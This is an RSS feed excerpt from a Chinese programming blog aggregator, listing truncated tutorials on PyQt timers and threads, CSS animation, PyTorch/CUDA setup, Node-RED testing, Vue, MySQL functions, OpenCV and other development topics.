      <title>Python Qt GUI设计：QTimer计时器类、QThread多线程类和事件处理类（基础篇—8）</title>
      <link>https://bchobby.github.io/posts/387888be07a15570e4692f0b2a8dda37/</link>
      <pubDate>Sat, 30 Apr 2022 11:53:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/387888be07a15570e4692f0b2a8dda37/</guid>
      <description>目录 1、QTimer计时器类&#xA;2、QThread多线程类&#xA;3、事件处理类&#xA;一般情况下，应用程序都是单线程运行的，但是对于GUI程序来说，单线程有时候满足不了需求。例如，如果需要执行一个特别耗时的操作，在执行过程中整个程序就会卡顿，效果就非常不理想或者Windows系统也认为程序运行出错，自动关闭了程序。要解决这种问题就涉及多线程的知识。&#xA;一般来说，多线程技术涉及三种方法，其中第一种是使用计时器模块QTimer；第二种是使用多线程模块QThread；最后是使用事件处理的功能。&#xA;1、QTimer计时器类 如果要在应用程序中周期性地进行某项操作，比如周期性地检测主机的CPU值，则需要用到QTimer（定时器），QTimer类提供了重复的和单次的定时器。要使用定时器，需要先创建一个QTimer实例，将其timeout信号连接到相应的槽，并调用start()。然后，定时器会以恒定的间隔发出timeout信号。&#xA;当窗口控件收到timeout信号后，它就会停止这个定时器。这是在图形用户界面中实现复杂工作的一个典型方法，随着技术的进步，多线程在越来越多的平台上被使用，最终QTimer对象会被线程所替代。&#xA;QTimer类中的常用方法如下表所示：&#xA;QTimer类中的常用信号如下表所示： 通过一个示例，了解QTimer计时器类的使用方法，效果如下所示：&#xA;示例中，初始化一个定时器，把定时器的timeout信号与showTime()槽函数连接起来。使用连接的槽函数显示当前时间，并在标签上显示系统现在的时间。单击“开始&#34;按钮，启动定时器，并使&#34;开始&#34;按钮失效。单击“结束&#34;按钮，停止定时器，并使“结束&#34;按钮失效。&#xA;实现代码如下所示：&#xA;from PyQt5.QtWidgets import QWidget, QPushButton , QApplication ,QListWidget, QGridLayout , QLabel from PyQt5.QtCore import QTimer ,QDateTime import sys class WinForm(QWidget): def __init__(self,parent=None): super(WinForm,self).__init__(parent) self.setWindowTitle(&#34;QTimer demo&#34;) self.listFile= QListWidget() self.label = QLabel(&#39;显示当前时间&#39;) self.startBtn = QPushButton(&#39;开始&#39;) self.endBtn = QPushButton(&#39;结束&#39;) layout = QGridLayout(self) # 初始化一个定时器 self.timer = QTimer(self) # showTime()方法 self.timer.timeout.connect(self.showTime) layout.addWidget(self.label,0,0,1,2) layout.addWidget(self.startBtn,1,0) layout.addWidget(self.endBtn,1,1) self.startBtn.clicked.connect( self.startTimer) self.endBtn.clicked.connect( self.endTimer) self.setLayout(layout) def showTime(self): # 获取系统现在的时间 time = QDateTime.</description>
    </item>
    <item>
      <title>CSS第三部分——过渡与动画</title>
      <link>https://bchobby.github.io/posts/a45ef985415a5fb4b48f30b54db47a16/</link>
      <pubDate>Sat, 30 Apr 2022 09:42:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a45ef985415a5fb4b48f30b54db47a16/</guid>
      <description>一、过渡（transition） 过渡（transition）是CSS3中具有颠覆性的特性之一，我们可以在不使用Flash动画或JavaScript的情况下，当元素从一种样式变换为另一种样式时为元素添加效果。&#xA;过渡动画：是从一个状态渐渐的过渡到另外一个状态。&#xA;可以让我们页面更好看，更动感十足，虽然低版本浏览器不支持（ie9以下版本）但是不会影响页面布局。&#xA;经常和:hover一起搭配使用。&#xA;语法：transition：要过渡的属性 花费时间 运动曲线 何时开始；&#xA;属性（必须写）：想要变化的css属性，宽度高度，背景颜色，内外边距都可以。如果想要所有的属性都变化过渡，写一个all就可以了。如果是多个属性（非全部属性）可以写完一个后用逗号隔开写第二个。花费时间（必须写）：单位是 秒（必须写单位），比如：0.5s。运动曲线：默认是ease（逐渐慢下来，默认），linear（匀速），ease-in（加速），ease-out（减速），ease-in-out（先加速后减速）何时开始：单位是秒（必须写单位）可以设置延迟触发时间。默认是0s。 二、动画 1.2D转换 2D转换基于二维坐标系，向右是x轴正方向，向下是y轴正方向。&#xA;1）移动（translate） 语法：transform：translate（x，y）；&#xA;或者分开写：&#xA;语法：&#xA;transform：translateX（n）；&#xA;transform：translateY（n）；&#xA;注意：&#xA;定义2D转换中的移动，沿着X和Y轴移动元素translate最大的优点：不会影响到其他元素的位置translate中的百分比单位是相对于自身元素的translate:(50%,50%)对行内标签没有效果 可以实现居中，配合定位使用：top:50%;transform:translateY(-50%);&#xA;&amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;style&amp;gt; .one, .two, .three, .four { width: 250px; height: 250px; float: left; } .one { background-color: aqua; transform: translate(100px,80px); } .two { background-color: crimson; } .three { background-color: chartreuse; transform: translateX(50px); /* transform: translateY(150px); */ /* translateX和translateY一次只能写一个 */ } .four { background-color: fuchsia; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>Win10&#43;Anaconda3&#43;python3.6&#43;cuda10.1&#43;cudnn7.6.0&#43;pytorch1.7.0&#43;torchvision0.8.0安装</title>
      <link>https://bchobby.github.io/posts/6fbd902e84347ad572b61f31cad80c0d/</link>
      <pubDate>Fri, 29 Apr 2022 17:40:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fbd902e84347ad572b61f31cad80c0d/</guid>
      <description>Win10+Anaconda3+python3.6+cuda10.1+cudnn7.6.0+pytorch1.7.0+torchvision0.8.0安装 一、下载Anaconda二、安装python3.6三、安装Cuda四、安装cudnn五、安装pytorch六、报错处理1. 添加cuda环境变量报错2. torch和torchvision出现False3.torch.cuda.is_available()在Anaconda Prompt中为True，在pycharm中为False4.pycocotools报错 一、下载Anaconda 1.打开Anaconda清华镜像网站：https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/&#xA;选择合适的Anaconda版本，python3.6对应的是Anaconda3-5.2.0，5.3以后的都是python 3.7的，按需求下载。如下图所示：&#xA;2.下载好后打开exe文件，点击next。&#xA;3.点击I agree&#xA;4.选择Just Me&#xA;5.默认安装路径，点击next&#xA;6.勾选第二条，点击Install，等待安装。&#xA;二、安装python3.6 1.下载好Anaconda后，打开Anaconda prompt，输入如下语句，进行安装：&#xA;conda create -n pytorch python=3.6 # pytorch为虚拟环境名，可任意取 安装过程中出现如下选择，都选择y。&#xA;2.验证是否安装成功：输入语句&#xA;conda activate pytorch 出现如下界面，即表示安装成功。&#xA;三、安装Cuda 1.首先查看电脑的英伟达显卡支持的cuda版本，具体步骤如下：&#xA;①打开控制面板，点击硬件和声音&#xA;②点击NVIDIA控制面板&#xA;③点击上方的帮助，再点击系统信息。&#xA;④点击组件，可查看支持的cuda版本&#xA;2.下载cuda：https://developer.nvidia.com/cuda-toolkit-archive&#xA;选择显卡对应版本的cuda，请确保C盘有足够的空间。&#xA;3.选择相应的配置进行下载。&#xA;4.下载好后，双击exe文件&#xA;①默认路径&#xA;②点击同意并继续&#xA;③选择精简&#xA;④勾选I understand…&#xA;⑤等待安装完成&#xA;⑥测试安装成功：&#xA;cmd输入：&#xA;nvcc -V 出现如下界面，即安装成功。&#xA;5.添加环境变量（参考：https://zhuanlan.zhihu.com/p/158900161）&#xA;打开电脑-&amp;gt;属性-&amp;gt;高级系统设置-&amp;gt;环境变量：&#xA;①将下面的内容新建到系统变量之中：&#xA;CUDA_SDK_PATH = C:\ProgramData\NVIDIA Corporation\CUDA Samples\v10.1&#xA;CUDA_LIB_PATH = %CUDA_PATH%\lib\x64&#xA;CUDA_BIN_PATH = %CUDA_PATH%\bin&#xA;CUDA_SDK_BIN_PATH = %CUDA_SDK_PATH%\bin\win64</description>
    </item>
    <item>
      <title>【OK】创建新节点实现四则运算及单元测试</title>
      <link>https://bchobby.github.io/posts/664bf69bd9e89777a62e6db81f6db970/</link>
      <pubDate>Fri, 29 Apr 2022 16:48:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/664bf69bd9e89777a62e6db81f6db970/</guid>
      <description>创建新节点实现四则运算 一.所需的几个文件二.各个文件的代码1.package.json文件2.four-arithmetic.js3.four-arithmetic.htmlremote-server.html4.remote-server.js5.test文件夹下的fourarithmeti_spec.js文件（用于单元测试）（貌似已经实现了）6.mocha测试 三.单元测试（一）.最简单方法（二）.第二种方法1.具体的程序实现：2.程序的简单详解：3.结束和结果 一.所需的几个文件 package.json&#xA;four-arithmetic.js&#xA;four-arithmetic.html&#xA;remote-server.html&#xA;remote-server.js&#xA;test文件夹下的fourarithmeti_spec.js文件（用于单元测试）&#xA;二.各个文件的代码 1.package.json文件 //package.json文件是不能有注释的，使用时要将注释全部去掉； { &#34;name&#34;: &#34;node-red-contrib-example-my-four-arithmetic&#34;, &#34;version&#34;: &#34;1.0.0&#34;, &#34;description&#34;: &#34;&#34;, &#34;main&#34;: &#34;index.js&#34;,//如果想要在终端运行，需要主函数是对应的.js文件；； //（手动）在脚本部分的 package.json 文件中添加一个测试脚本。 要在测试目录中运行所有带有 _spec.js 前缀的文件； &#34;scripts&#34;: { &#34;test&#34;: &#34;mocha \&#34;test/**/*_spec.js \&#34;&#34; }, //测试脚本完毕； //以下是构建node-red节点所需要的部分； &#34;node-red&#34;: { &#34;nodes&#34;: { &#34;four-arithmetic&#34;: &#34;four-arithmetic.js&#34;, &#34;remote-server&#34;: &#34;remote-server.js&#34; } }, //构建node-red节点部分添加完毕； &#34;author&#34;: &#34;&#34;, &#34;license&#34;: &#34;ISC&#34;, //一下是单元测试时才会出现、用到的部分； //执行过程：在VS Code中打开package.json文件，ctrl+`打开终端，定位到桌面上的Creat文件（项目文件）所在路径，执行以下命令） //&#34;npm install node-red-node-test-helper node-red --save-dev&#34;（不带双引号）即可 &#34;devDependencies&#34;: { &#34;node-red&#34;: &#34;^2.2.2&#34;, &#34;node-red-node-test-helper&#34;: &#34;^0.2.7&#34; } //单元测试的依赖添加完毕； } 2.</description>
    </item>
    <item>
      <title>vue2.x&#43;vantUI搭建移动端并适配750设计稿</title>
      <link>https://bchobby.github.io/posts/371d2bb14790359dcf1a5adf4963f128/</link>
      <pubDate>Fri, 29 Apr 2022 15:59:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/371d2bb14790359dcf1a5adf4963f128/</guid>
      <description>文章目录 前言一、学习目标二、创建vue项目1.windows环境下搭建vue开发环境2.安装和引入vant3.适配处理 前言 本文在已安装node、npm、vue-cli等前提下进行，请确保自己的node -v,npm -v和vue -V是正常显示版本的，具体操作可查看下面链接&#xA;一、学习目标 搭建vue移动端项目框架&#xA;vantUI按需引入开发&#xA;设配750设计稿&#xA;二、创建vue项目 1.windows环境下搭建vue开发环境 windows环境下搭建vue开发环境&#xA;2.安装和引入vant vant官网&#xA;# 安装 vue2.x：npm i vant@latest-v2 -S vue3：npm i vant -S # 引入——按需引入（按需引入之后就不能再进行全局引入） npm i babel-plugin-import -D // 在.babelrc 中添加配置 { &#34;plugins&#34;: [ [&#34;import&#34;, { &#34;libraryName&#34;: &#34;vant&#34;, &#34;libraryDirectory&#34;: &#34;es&#34;, &#34;style&#34;: true }] ] } 3.适配处理 //vue页面，只有div适配了 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;main&#34;&amp;gt; &amp;lt;div class=&#34;fz&#34;&amp;gt;适配了吗？&amp;lt;/div&amp;gt; &amp;lt;van-button plain type=&#34;info&#34; size=&#34;small&#34;&amp;gt;一个按钮&amp;lt;/van-button&amp;gt; &amp;lt;van-list v-model=&#34;loading&#34; :finished=&#34;finished&#34; finished-text=&#34;没有更多了&#34; @load=&#34;onLoad&#34;&amp;gt; &amp;lt;van-cell v-for=&#34;item in list&#34; :key=&#34;</description>
    </item>
    <item>
      <title>Vue中使用Mock模拟get和post请求</title>
      <link>https://bchobby.github.io/posts/8895fa7a21239bc1fb20218dce9091a9/</link>
      <pubDate>Fri, 29 Apr 2022 13:18:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8895fa7a21239bc1fb20218dce9091a9/</guid>
      <description>Mock模拟post请求 很多时候，前端的开发需要配合后端接口数据，但是后端开发未完成的时候，前端不能苦等，可以先用mock来进行数据模拟和调试。&#xA;使用方法如下：&#xA;1、安装mockjs npm install mockjs 2、在vue项目中mock创建文件夹 创建mock文件夹之后.还需要创建json文件.作为pots请求数据源&#xA;3、在index.js中写如下代码 一般情况是在src文件夹下创建api文件夹,用来管理整个项目的接口数据,然后我们需要接着在api文件夹下创建index.js,作为入口请求文件&#xA;const Mock = require(&#39;mockjs&#39;); //格式： Mock.mock( url, post/get , 返回的数据)； 下面的userInfo是指mock目录下的json目录下的userInfo.json文件 Mock.mock(&#39;/user/userInfo&#39;, &#39;get&#39;, require(&#39;./json/userInfo.json&#39;)); Mock.mock(&#39;/api/addgoods&#39;, &#39;post&#39;, require(&#39;./json/userInfo.json&#39;)); // 下边这个模拟post请求也行 /*Mock.mock(&#39;/api/addgoods&#39;, &#39;post&#39;, function (option) { let $name=JSON.parse(option.body).name; if($name){ return Mock.mock({ status: 200, message: &#39;提交成功！！！&#39; }) }else{ return Mock.mock({ status: 400, message: &#39;未提交参数&#39; }) } })*/ 在userInfo.json中写如下代码，记着这个是.json格式的不是js格式的，注意json格式一定要标准!&#xA;{ &#34;result&#34;: &#34;success&#34;, &#34;data&#34;: { &#34;userSn&#34;: &#34;3785521&#34;, &#34;username&#34;: &#34;不求甚解&#34;, &#34;age&#34;: 25, &#34;imgUrl&#34;: &#34;https://avatar.csdn.net/8/5/D/3_bocongbo.jpg&#34; }, &#34;</description>
    </item>
    <item>
      <title>MySQL基础学习（六）——聚合函数</title>
      <link>https://bchobby.github.io/posts/9df71d1055fbe339683613577a290fc7/</link>
      <pubDate>Fri, 29 Apr 2022 13:08:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9df71d1055fbe339683613577a290fc7/</guid>
      <description>目录&#xA;1、聚合函数类型&#xA;（1）AVG(x)&#xA;（2）SUM(x)&#xA;（3）MAX(x)&#xA;（4）MIN(x)&#xA;（5）COUNT(x)&#xA;2、聚合函数的基本使用&#xA;（1）单列分组&#xA;（2）多列分组&#xA;（3）WITH ROLLUP 关键字&#xA;3、HAVING的使用&#xA;聚合函数：作用于一组数据，并对一组数据返回一个值。 1、聚合函数类型 （1）AVG(x) SELECT AVG(salary) FROM employees （2）SUM(x) SELECT SUM(salary) FROM employees （3）MAX(x) SELECT MAX(salary) FROM employees （4）MIN(x) SELECT MIN(salary) FROM employees （5）COUNT(x) SELECT COUNT(salary) FROM employees 计算表中的记录数有三种方法：&#xA;count(*)&#xA;count(1)&#xA;count(具体字段)：不一定对&#xA;因为计算指定个数的字段时，是不计算null值&#xA;SELECT COUNT(commission_pct) FROM employees 2、聚合函数的基本使用 （1）单列分组 可以使用GROUP BY子句将表中的数据分成若干组 SELECT column FROM table [ WHERE condition] [ GROUP BY group_by_expression] [ ORDER BY column]; SELECT department_id,avg(salary),sum(salary) FROM employees GROUP BY department_id 此时就会以department_id进行分组。展示每个组的最大最小值</description>
    </item>
    <item>
      <title>自动化测试之：python各种测试用库</title>
      <link>https://bchobby.github.io/posts/544b37f5890de49f0623b390250f3342/</link>
      <pubDate>Fri, 29 Apr 2022 09:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/544b37f5890de49f0623b390250f3342/</guid>
      <description>测试开发 来源:https://www.jianshu.com/p/ea6f7fb69501&#xA;Web UI测试自动化 splinter - web UI测试工具，基于selnium封装。 链接selenium - web UI自动化测试。 链接 --推荐mechanize- Python中有状态的程序化Web浏览。链接selene - 使用Python + Ajax支持+ PageObjects + Widgets进行简明UI测试 链接hitch - 基于服务的应用程序的高级集成测试框架。链接Needle - Css 自动化测试框架。链接seleniumbase - 端到端自动化测试框架。链接pytest_splinter - pytest spinter和selenium集成。 链接Browsermob Proxy - Browsermob Proxy的python包装器。 链接Selenium-Requests - 扩展Selenium WebDriver类以包含请求库中的请求函数，同时完成所有需要的cookie和请求头处理。链接 移动测试自动化 appium - 移动端UI自动化测试。 链接 --推荐uiautomator- 安卓UI自动化测试。 链接ATX - 智能手机自动化工具。支持iOS，Android，WebApp和游戏。 网易出品 链接 --推荐uiautomator2- Android Uiautomator2 Python Wrapper。 链接 --推荐facebook-wda Facebook WebDriverAgent Python Client Library (not official) 可用于IOS应用测试。 链接 --推荐 Windows UI测试自动化 Winium.</description>
    </item>
    <item>
      <title>ARM 编译器 C 库启动和初始化</title>
      <link>https://bchobby.github.io/posts/c8813d21cdfbb41ffe6c52cb6d538b9a/</link>
      <pubDate>Fri, 29 Apr 2022 00:17:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8813d21cdfbb41ffe6c52cb6d538b9a/</guid>
      <description>1 介绍 本文档描述了 C 库启动代码和在使用 ARM 编译器编译的应用程序启动期间可能调用的初始化函数。该文档概述了启动代码中的功能的作用以及它们存在的原因。您可以使用此文档来验证您的应用程序的启动代码。&#xA;1.1 版本 本文档描述了 ARM 编译器的启动代码。启动代码中的函数可能会在工具链的不同版本和补丁之间发生变化。本文档不保证库启动代码在后续版本或工具链补丁中的持续运行。&#xA;1.2 补充阅读 本节列出了 ARM 和第三方的出版物。请参阅 Infocenter，http://infocenter.arm.com，以访问 ARM 文档。&#xA;1.2.1 ARM 出版物 以下文档包含与本文档相关的信息：&#xA;• ARM 编译器工具链 ARM 处理器开发软件 (ARM DUI 0471)&#xA;• ARM 编译器工具链 ARM C 和 C++ 库和浮点支持参考 (ARM DUI 0492)&#xA;• 使用 ARM 的 ARM 编译器工具链C 和 C++ 库和浮点支持 (ARM DUI 0475)&#xA;• ARM 编译器工具链链接器参考 (ARM DUI 0493)。&#xA;2 启动代码 嵌入式应用程序需要在用户定义的 main() 函数启动之前进行初始化序列。这称为启动代码或引导代码。 ARM C 库包含启动应用程序所需的预编译和预汇编代码部分。链接您的应用程序时，链接器会根据应用程序从 C 库中包含必要的代码，以便为应用程序创建自定义启动代码。</description>
    </item>
    <item>
      <title>关于acrobat登录弹窗解决办法</title>
      <link>https://bchobby.github.io/posts/7009923d70763b73baf1ceae555d0323/</link>
      <pubDate>Thu, 28 Apr 2022 22:03:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7009923d70763b73baf1ceae555d0323/</guid>
      <description>最近acrobat出了点问题，得重装，然后找了好多帖子重新安装。&#xA;六维空间：&#xA;鹏少资源：&#xA;@vposy&#xA;教程是一个个尝试，但是过不了半小时都不行了。起初我以为是卸载问题，没有卸载干净，就按照&#xA;下面两个方式，但是还是不行。&#xA;卸载原来的acrobat，并删除这两个文件夹：“C:\Program Files (x86)\Common Files\Adobe\SLCache”，“C:\ProgramData\Adobe\SLSto 后来发现是实时更新的问题，参考帖子win10系统禁止Adobe photoshop自动联网验证的操作步骤 - 电脑公司 (dngswin10.com)&#xA;禁用了几个app&#xA;现在就好了，不弹窗了。万岁万岁万岁。</description>
    </item>
    <item>
      <title>离散LQR与iLQR的推导思路</title>
      <link>https://bchobby.github.io/posts/e73eeddd8ca84f3688bfe6aef3932ee4/</link>
      <pubDate>Thu, 28 Apr 2022 16:52:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e73eeddd8ca84f3688bfe6aef3932ee4/</guid>
      <description>离散LQR与iLQR的推导思路 一、最优控制最优控制定义数学基础里程碑工作 二、LQR问题LQR定义极小值原理方法求解动态规划方法求解两种方法的比较 三、iLQR框架 一、最优控制 最优控制定义 首先介绍一下LQR的背景，也就是最优控制，最优控制的背景在之前介绍HJB方程的时候也有介绍：HJB方程的一些简单理解和过程推导。假设现在有一辆自动驾驶汽车，我们要设置控制方法，让其沿着指定路线到达某一个位置。要完成这项工作，首要的任务就是了解这辆车当前的“状态”和关于“控制”的变化规律：比如我们一般最关心当前的位置和车速，通过当前位置和速度去进行控制，比如打方向盘，踩刹车，踩油门等，从而又会引起当前位置和车速的变化。与此同时，我们可能还希望省油，车速平稳，不超速等要求。要满足以上的需求，需要合理的设计控制方法，以上问题我们就可以把它写成一个最优控制问题。&#xA;最优控制问题的四个基本元素：&#xA;状态方程：描述系统（自动驾驶汽车）的运动学或动力学方程&#xA;x ˙ ( t ) = f ( x ( t ) , u ( t ) , t ) , t ∈ [ t 0 , t f ] . x ( t 0 ) = x 0 \dot{x}(t)=f(x(t),u(t),t) , t\in[t_0,t_f]. x(t_0)=x_0 x˙(t)=f(x(t),u(t),t),t∈[t0​,tf​].x(t0​)=x0​&#xA;容许控制：控制与状态满足的约束&#xA;u ∈ U , x ∈ X . u\in U , x\in X. u∈U,x∈X.&#xA;目标集：在结束时间 t f t_f tf​，被控对象的状态 x ( t f ) x(t_f) x(tf​)应符合的条件</description>
    </item>
    <item>
      <title>MySQL基础学习（五）——单行函数</title>
      <link>https://bchobby.github.io/posts/8074b9c5c2ca454c45a90f38e32f6db5/</link>
      <pubDate>Thu, 28 Apr 2022 15:25:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8074b9c5c2ca454c45a90f38e32f6db5/</guid>
      <description>目录&#xA;一、数值函数&#xA;1、ABS(x)：返回x的绝对值&#xA;2、SIGN(x)：返回x的符号&#xA;3、PI()：圆周率的值&#xA;4、CEIL(x)、CEILING(x)：向上取整 5、FLOOR(x)：向上取整&#xA;6、LEAST(n1,n2.....n)：返回列表中的最小值&#xA;7、GREATEST(n1,n2.....n)：返回列表中的最大值&#xA;8、MOD(x,y)：返回x除以y之后的余数&#xA;9、RAND()：返回0~1的随机值&#xA;10、RAND(x)：返回0~1的随机值，其中x的值用作种子值，相同的x值会产生相同的随机数&#xA;11、ROUND(x)：返回一个对x的值进行四舍五入后，最接近于x的整数&#xA;12、ROUND(x,y)：返回一个对x的值进行四舍五入后最接近x的值，并保留到小数点后面Y位&#xA;13、TRUNCATE(x,y)：返回数字x截断为y位小数的结果&#xA;14、SQRT(x)：返回x的平方根。当x的值为负数时，返回NULL&#xA;二、角度和弧度互换函数&#xA;1、RADIANS(x)：将角度转化为弧度，其中，参数x为角度值&#xA;2、DEGREES(x)：将弧度转化为角度，其中，参数x为弧度值&#xA;三、三角函数&#xA;1、SIN(x)：返回x的正弦值，其中，参数x为弧度值&#xA;​2、ASIN(x)：返回x的反正弦值，即获取正弦为x的值。&#xA;​3、COS(x)：返回x的余弦值，其中，参数x为弧度值&#xA;​4、ACOS(x)：返回x的反余弦值，即获取余弦为x的值。&#xA;5、TAN(x)：返回x的正切值，其中，参数x为弧度值&#xA;​6、ATAN(x)：返回x的反正切值，即返回正切值为x的值&#xA;​7、ATAN2(m,n)：返回两个参数的反正切值&#xA;​8、COT(x)：返回x的余切值，其中，x为弧度值​&#xA;四、指数与对数&#xA;1、POW(x,y),POWER(X,Y)：返回x的y次方&#xA;2、EXP(X)：返回e的x次方&#xA;3、LN(X)，LOG(X)：返回以e为底的x的对数 4、LOG10(X)：返回以10为底的x的对数&#xA;5、LOG2(X)：返回以2为底的x的对数&#xA;五、进制间的转换&#xA;1、BIN(x)：返回x的二进制编码&#xA;2、HEX(x)：返回x的十六进制编码&#xA;3、OCT(x)：返回x的八进制编码&#xA;4、CONV(x,f1,f2)：返回f1进制数变成f2进制数&#xA;六、字符串函数 1、ASCI(S)：返回字符串s中的第一个字符的ASCII码值&#xA;2、CHAR_LENGTH(s)：返回字符串s的字符数。&#xA;3、LENGTH(s)：返回字符串s的字节数，和字符集有关&#xA;4、CONCAT(s1,s2,.......sn)：连接s1,s2....n为一个字符串&#xA;5、CONCAT_WS(x,s1,s2,......sn)：同CONCAT(s1,s2,...)函数，但是每个字符串之间要加&#xA;6、INSERT(str, idx, len,replacestr)：将字符串str从第idx位置开始，len个字符长的子串替换为字符串replacestr&#xA;7、REPLACE(str, a, b)：用字符串b替换字符串str中所有出现的字符串a&#xA;8、UPPER(s)或UCASE(s)：将字符串s的所有字母转成大写字母&#xA;9、LOWER(s)或LCASE(s)：将字符串s的所有字母转成小写字母&#xA;10、LEFT(str,n)：返回字符串str最左边的n个字符&#xA;11、RIGHT(str,n)：返回字符串str最右边的n个字符&#xA;12、LPAD(str, len, pad)：用字符串pad对str最左边进行填充，直到str的长度为len个字符&#xA;13、RPAD(str ,len, pad)用字符串pad对str最右边进行填充，直到str的长度为len个字符&#xA;14、LTRIM(s)去掉字符串s左侧的空格&#xA;15、RTRIM(s)去掉字符串s右侧的空格&#xA;16、TRIM(s)去掉字符串s开始与结尾的空格&#xA;17、TRIM(s1FROM s)去掉字符串s开始与结尾的s1&#xA;18、TRIM(LEADING s1 FROM s)去掉字符串s开始处的s1</description>
    </item>
    <item>
      <title>C&#43;&#43;实用案例：整数四则运算计算器</title>
      <link>https://bchobby.github.io/posts/884308c2502f690615b5b718b3909c97/</link>
      <pubDate>Thu, 28 Apr 2022 14:56:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/884308c2502f690615b5b718b3909c97/</guid>
      <description>前言 很多学习C++的人都想过要编一个计算器吧，有可能你没有想过，但你肯定对这个感兴趣。如果你再CSDN上搜一下，出来的一定是双栈啊，class啊什么的，因此你看不懂，所以你感觉没必要copy下来，因为自己不会。那这期我会带大家深度剖析用简单的字符串就能解决的整数四则运算计算器。&#xA;一、整体框架 ①思路框架&#xA;一个合格的计算器，就必须有处理多项式的功能，那么我们遇到一个多项式，会怎么算呢？比如：3 * 3 + 2 / 2 * 5 - 4 * 10 / 5.&#xA;首先，我们应该想到的是将多项式化为单项式，也就是以+ -为分界线：&#xA;比如：3*3 + 2/2*5 + 4*10/5&#xA;然后依次算出：&#xA;比如：9 + 5 + 8&#xA;最后求和：&#xA;比如：22&#xA;②代码框架&#xA;代码框架大概是这样的：&#xA;我们用math函数算单项式，main分离多项式。&#xA;#include&amp;lt;......&amp;gt; using namespace std; int math(string n){ 算单项式；（分离各位） } int main(){ 分离多项式； 依次调用math() 输出ans; } 二、 自定义函数math详解 刚刚我们了解到要用一个自定义math函数来求一个单项式的值，那我们来具体分析一下：&#xA;在程序中计算一个单项式，该怎么做呢?&#xA;设这个字符串变量名为a，则：&#xA;char now=&#39;*&#39;; string s; for(int i=0;i&amp;lt;a.size();i++){ if(当前一位是符号){ 统计目前s的数据，并根据now做相应的运算,然后清零，并统计当前符号至now }else{//当前一位是数字 统计这一位的数据，加到字符串s中 } } 于是，我们补全代码，就是：</description>
    </item>
    <item>
      <title>实践数据湖iceberg 第二十九课 如何优雅高效获取flink的jobId</title>
      <link>https://bchobby.github.io/posts/238ad2e98d4ad02a80e30a3aca47be82/</link>
      <pubDate>Thu, 28 Apr 2022 14:50:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/238ad2e98d4ad02a80e30a3aca47be82/</guid>
      <description>系列文章目录 实践数据湖iceberg 第一课 入门&#xA;实践数据湖iceberg 第二课 iceberg基于hadoop的底层数据格式&#xA;实践数据湖iceberg 第三课 在sqlclient中，以sql方式从kafka读数据到iceberg&#xA;实践数据湖iceberg 第四课 在sqlclient中，以sql方式从kafka读数据到iceberg（升级版本到flink1.12.7）&#xA;实践数据湖iceberg 第五课 hive catalog特点&#xA;实践数据湖iceberg 第六课 从kafka写入到iceberg失败问题 解决&#xA;实践数据湖iceberg 第七课 实时写入到iceberg&#xA;实践数据湖iceberg 第八课 hive与iceberg集成&#xA;实践数据湖iceberg 第九课 合并小文件&#xA;实践数据湖iceberg 第十课 快照删除&#xA;实践数据湖iceberg 第十一课 测试分区表完整流程(造数、建表、合并、删快照)&#xA;实践数据湖iceberg 第十二课 catalog是什么&#xA;实践数据湖iceberg 第十三课 metadata比数据文件大很多倍的问题&#xA;实践数据湖iceberg 第十四课 元数据合并(解决元数据随时间增加而元数据膨胀的问题)&#xA;实践数据湖iceberg 第十五课 spark安装与集成iceberg(jersey包冲突)&#xA;实践数据湖iceberg 第十六课 通过spark3打开iceberg的认知之门&#xA;实践数据湖iceberg 第十七课 hadoop2.7,spark3 on yarn运行iceberg配置&#xA;实践数据湖iceberg 第十八课 多种客户端与iceberg交互启动命令(常用命令)&#xA;实践数据湖iceberg 第十九课 flink count iceberg，无结果问题&#xA;实践数据湖iceberg 第二十课 flink + iceberg CDC场景(版本问题，测试失败)</description>
    </item>
    <item>
      <title>OpenCV（C&#43;&#43;版本）基础相关（5）：多边形填充与绘制、鼠标操作与响应、图像像素类型的转换与归一化、图像的放缩与插值、图像的旋转</title>
      <link>https://bchobby.github.io/posts/8d2c56d4980ab056940ae0278eaae230/</link>
      <pubDate>Wed, 27 Apr 2022 23:58:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d2c56d4980ab056940ae0278eaae230/</guid>
      <description>文章目录 十六、多边形填充与绘制16.1 quickopencv.h16.2 QuickDemo.cpp16.3 test.cpp 十七、鼠标操作与响应17.1 quickopencv.h17.2 QuickDemo.cpp17.3 test.cpp 十八、图像像素类型的转换与归一化18.1 quickopencv.h18.2 QuickDemo.cpp18.3 test.cpp 十九、图像的放缩与插值19.1 quickopencv.h19.2 QuickDemo.cpp19.3 test.cpp 二十、图像的旋转20.1 quickopencv.h20.2 QuickDemo.cpp20.3 test.cpp 知识来源：哔哩哔哩。以下内容仅为学习笔记，不做其他用途。 续前节OpenCV（C++版本）基础相关（4）：通道的分离与合并、图像色彩空间转换、图像像素值统计、图像几何形状的绘制、随机数与随机颜色&#xA;十六、多边形填充与绘制 知识点：&#xA;fillPoly(canvas, pts, Scalar(255, 0, 255), 8, 0);//填充多边形。参数1为图像，参数2为多边形顶点，参数3为颜色。polylines(canvas, pts, true, Scalar(0, 0, 255), 2, LINE_AA, 0);//绘制多边形。参数1为图像，参数2为多边形顶点，参数3为矩形是否闭合，参数4为颜色，后面为线型参数。drawContours(canvas, contours, -1, Scalar(0, 0, 255), -1);//多边形轮廓绘制。参数1表示在哪个底图上绘制；参数2表示图像轮廓顶点；参数3指定绘制轮廓list中的哪条轮廓，如果是-1，则绘制其中的所有轮廓；参数4为颜色；参数5的-1为填充模式。 